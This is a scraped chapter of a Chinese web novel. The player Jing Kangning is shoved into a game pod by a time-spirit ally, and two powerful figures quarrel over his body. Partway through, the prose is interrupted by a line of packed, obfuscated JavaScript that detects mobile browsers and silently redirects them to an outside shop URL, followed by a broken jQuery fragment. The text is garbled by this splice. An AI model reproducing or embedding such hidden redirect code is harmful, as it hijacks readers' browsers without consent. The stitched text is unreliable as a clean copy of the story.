158.这何尝不是一种刺激

作品:《绝赞玩家!

    手指上的戒指闪烁着光彩,核桃仁纹路可可爱爱又带着些塑料感,像是小学门口卖的一块一个的小戒指;黄金虺纹双环戒指之上的鳞甲片片分明,这只黄金的游蛇露出猩红的眼,这份猩红却不让玩家生出恐惧,反而让他平静。


    【我已推测出此为概念化的结果,且犯错误概率不超过0.07%】


    【但原谅我无法告知你的概念化,任何概念的定论都会对你的概念化产生影响】


    从神殿回归自己房间的敬康宁坐在床上,低头看着自己左手上的这几枚戒指。


    创世纪的本质不过是创世神的记忆。


    他也不过是一片记忆。


    而他在游戏里遇见的……居然也只是生铭君的记忆。


    【“游戏”将生铭君遗留在其坟墓中的记忆提取,放入了世界之中。】


    那位创世神仿佛看出了玩家的郁结。


    【……“游戏”只是把那些曾经的活人放入自己创造的世界之中,你的经历仍然是你的经历。】


    她对着玩家宽慰一笑,


    【你只是认识了生铭君认识的人,而非成为了生铭君。】


    突然,谁揽住了自己的肩膀。


    敬康宁抬头一看,就见艾易顶着金黑夹杂的脑袋凑了过来,很哥俩好地坐在了他旁边。


    “你咋了,抑郁了?”


    敬康宁:……


    虽然很感谢他愿意到房间来保护自己,但是现在已经来不及考虑对时空阁下的感谢了,更重要的是:


    “松开,然后滚下我的床。”


    臭打游戏的床那是能让别人坐的?


    对方一个闪现远离了他,浑身上下跟连接不好一样炸出虚拟的乱码。


    他耸了耸肩,


    “一个两个都这样。”


    这是哪个时间线的艾易,这么没边界感?他们关系难道很好吗?


    而且……


    漆黑的发如同落下的绒毛,飘飘然扫过脸侧,留下落寞的痕迹。


    敬康宁语调逐渐降低,


    “你不会因为自己只是一段记忆而……难过么?”


    艾易站着俯视坐在床上的玩家,整理了一下身上的马甲,自然而然地坐在了玩家的书桌前,时不时摆弄一下玩家的各种奖杯。


    他锋利的面容被房间内昏暗的灯光割裂,戴着解释仪器的无机质眼眸隐藏在阴影中,露在灯光之下的金色眼眸灿烂耀目。


    他理所当然地说:


    “关我屁事,我又不是创世纪人。”


    “你不是……”


    “很多人都不是,没准儿你也不是呢?”


    他挥了挥手,满不在乎地说,


    “你们这些人就喜欢多想,想什么想,先把事儿做了再说。”


    没给玩家反应的时间,他一个闪现到玩家身侧,一把拎起他的后领子。


    敬康宁瞪大眼睛:???


    直接拎起来了?


    你不是“时空”么?


    臂力这么强合理吗?


    艾易一脚踹开游戏舱门,“哐当”一声听得玩家肝颤,险些心肺骤停。


    他一把送玩家进游戏仓,动作很大,但在最后扔进去的时候十分细心地放缓了力道,愣是让玩家一点没被磕到地滚进了游戏仓。


    敬康宁一脸懵逼地躺在了游戏仓的软垫上,眼睁睁地看着游戏仓缓缓关闭,艾易那张凌厉的面容逐渐被游戏仓散出的白雾迷蒙。


    那位时空阁下对着自己笑了笑。


    他用指节敲了敲游戏仓门。


    “我一会儿还和朋友有约,就不在游戏仓门口看着你了。”


    温和的液体逐渐充盈整个游戏仓,玩家眼睁睁地看着时空阁下挥了挥手,身躯闪没。


    敬康宁:……


    这就是你直接不问玩家意愿强行把他塞进游戏仓的理由吗!


    而下一刻,敬康宁突然感受到一种微妙的“破碎感”与“切割感”出现在自己的腕部,并不疼痛,纯粹的一种“感受”。


    他在仓体内移动眼球,看见了自己右手手腕上出现了一块金色的旧表,上面的指针早已停摆,僵硬地停在了1点45的位置。


    “时空”的概念留存……


    只要玩家遇到危险,艾易就可以立刻赶过来。


    营养液彻底淹没了玩家。


    ……


    ……


    ……


    “黄金冕,这是我们最后的警告,将生铭塔○康宁的尸身归还。”


    私人会议室之中,生铭塔○梦岚眯起眼睛,带着荧光蓝环的眼透着森冷的光,泛白的唇张合着吐出冰冷的字眼,像是深海生物喷洒致死毒素一般,用锋利的语言之刃攻击对方。


    她并未着正式的西装,而是穿着一身漆黑的大衣,室内明明温暖,她却包裹得像是在严冬。


    即便如此,她的指尖仍然在发凉。


    而被警告的对象,只是发出了一声意味不明的冷笑。


    骨节分明的手上,三枚黄金虺纹双环戒指分别戴在了左手的食指与无名指,右手的中指,张牙舞爪地像是要撕咬面前的猎物。


    而这样的手,只是轻轻敲击了两下面前的桌面,一旁金黄的酒水因为这个动作微微掀起浪花,依稀映出了他俊美的面容与耀眼的发。


    “……‘归还’?你们用这么可笑的词语么?”


    他站起,俯身靠近对方,金色的锁链微微晃动,辛辣的信息素毫不收敛地冲击向对面的生铭塔掌权者。


    其他政客可以释放信息素抵抗,作为一种社交的手段仰仗,但很可惜的是,生铭塔○梦岚不可以。


    她涂抹鲜红指甲油的手骤然攥紧。


    哪怕她再想毒死面前这个神经病也不行。


    “他是生铭塔吗?就谈‘归还’?”


    他说话总是将嘴咧开,毫不顾忌地露出属于alpha的尖锐獠牙,这在同性面前无疑是一种示威。


    周身的锁链因那人的动作而哗哗作响,在寂静的会议室中分外明显。


    他肆无忌惮,他惯于如此。


    黄金冕取得了最后拥入的权力,那生铭塔○康宁所有的遗留都应当属于堕落堂○尘。


    ……一个冰冷的器具抵在了他的脖颈。


    金发被削断几缕,那仅比指甲大几分的小物件就这样抵在脖颈之旁,但尘知道它锋利异常,一旦被伤到,必死无疑。


    他的眼滞涩地转动。


    角质喙,这个死女人的素武器。


    哈,她根本不适合当什么掌权人,她明明更适合去杀人。


    总是容易情绪激动,总是容易意气用事,最有意思的是她居然真的因为康宁的躯体在自己手上而愤怒。


    性情得不像是生铭塔。


    那因戴上隐形眼镜而显现出深蓝接近黑的眼眸微微下移,看着这个失格的生命塔手上因过度用力暴起青筋,眼中的蓝环停滞着,颜色逐渐加深着。


    她的声音像是压抑着的火山:


    “把  我  的  家  人  还给我,堕落堂。”


    她又将锋利之物再靠近几分,死死盯着面前已经敛去笑意的堕落堂。


    “否则,萃毒师都救不了你。”


    锁链悄无声息地缠上她的手臂,缓缓地将她捏住武器的手臂拉下,像是一种妥协,一种和谈的暗示。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171046|175773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他终于收起了所有用于伪装的笑容,那张脸变得冷漠又陌生。


    这不过是他顺从心脏传来的抽疼感应有的表现罢了。


    多好,生铭塔真的有他的家人。


    信息素尽数收敛,死寂得如同他现在一般。


    会议室内沉默许久。


    两个人相视,不知又从对方的眼中看到了什么。


    最后,是黄金冕打破了沉寂。


    “你觉得,萃毒师和生铭塔,谁更能保存好他?”


    黄金冕抬起了眼眸,他的眼中没什么情绪。


    生铭塔是生物科技的巅峰,也是科学疯子的聚集地。


    生铭塔○梦岚,你做不到守住他的全部,他这样难得的SS级温和型alpha定然会被解剖研究,你作为掌权者无法对科研人员说一个“不”字,否则便是格局的溃败,私心的疯长。


    但这句话对于梦岚来说未免……太可笑了。


    因为他这样的话有一个前提。


    那就是,他们要“保存”尸身。


    梦岚盯着这位堕落堂,像是在看一个顶级的蠢货在自作聪明,又像是看一个疯子在伪装常人。


    他在说什么?“保存”?


    这么一瞬间,她冷静了下来。


    “你不安葬他?”


    听到这句话,他脸上冷漠厌倦的神色更甚,直接站起了身,凳子发出哐当一声响。


    “那看来我们没什么可谈的了,生铭塔。”


    没有什么多余的动作,他向着门外走去。


    而梦岚在不动用毒的情况下,无法拦下SSS级alpha。


    啪。


    门关上了。


    声音在会议室荡开。


    偌大的会议室空留她一人。


    沉默许久,手握紧酒杯,举起,一饮而尽。


    “堕落堂这群疯子。”


    但他们不会玷污小宁,这就够了。


    ……


    ……


    ……


    他不会死。


    黄金冕在自己的房间内,凝视着手中六面的骰子。


    骰身洁白如玉,打磨光滑,上面点缀着平整的宝石红点数。


    房间昏暗,但这却是他最习惯的亮度。


    可惜的是,在无光之中,所有的宝石都不会闪烁。


    指尖一弹。


    骰子抛向空中,


    旋转着,


    旋转着,


    仿佛永不停息。


    他不会死。


    右手突然抓上了胸口,沉闷的脏器跳动之感自手中穿叉到感官之内。


    金色的锁链像是刚刚苏醒的冬眠之蛇,窸窸窣窣地开始游走,缓慢地在整个房间爬行,缠绕上面前空荡座椅的凳腿,盘曲着向上而行,在冰冷之中浸透辛辣的气息。


    扣住自身胸口血肉的手指,愈发用力,皮肉组织陷入指甲的缝隙,流出蓬勃的猩红之色,清晰传达到大脑的痛觉,却远远消磨不去胸口的沉痛。


    他不会死。


    “嗬嗬嗬嗬……”


    嗓子间挤出零碎的笑声,他将额头抵在桌角,金发散在桌面之上,与那隐藏在阴影之中的手枪相互掩映。


    他分明是在笑的,越是痛苦越是发笑,像是要把心脏拧碎,像是要把自己洞穿。


    痛苦再多些吧。


    这何尝不是一种刺激。


    敬康宁……看看你都给了我什么?


    哈……


    骰子无声地落在了地毯上,没有引起任何人的注意。


    而其上翻出的是,


    六的点数。


    很幸运的点数。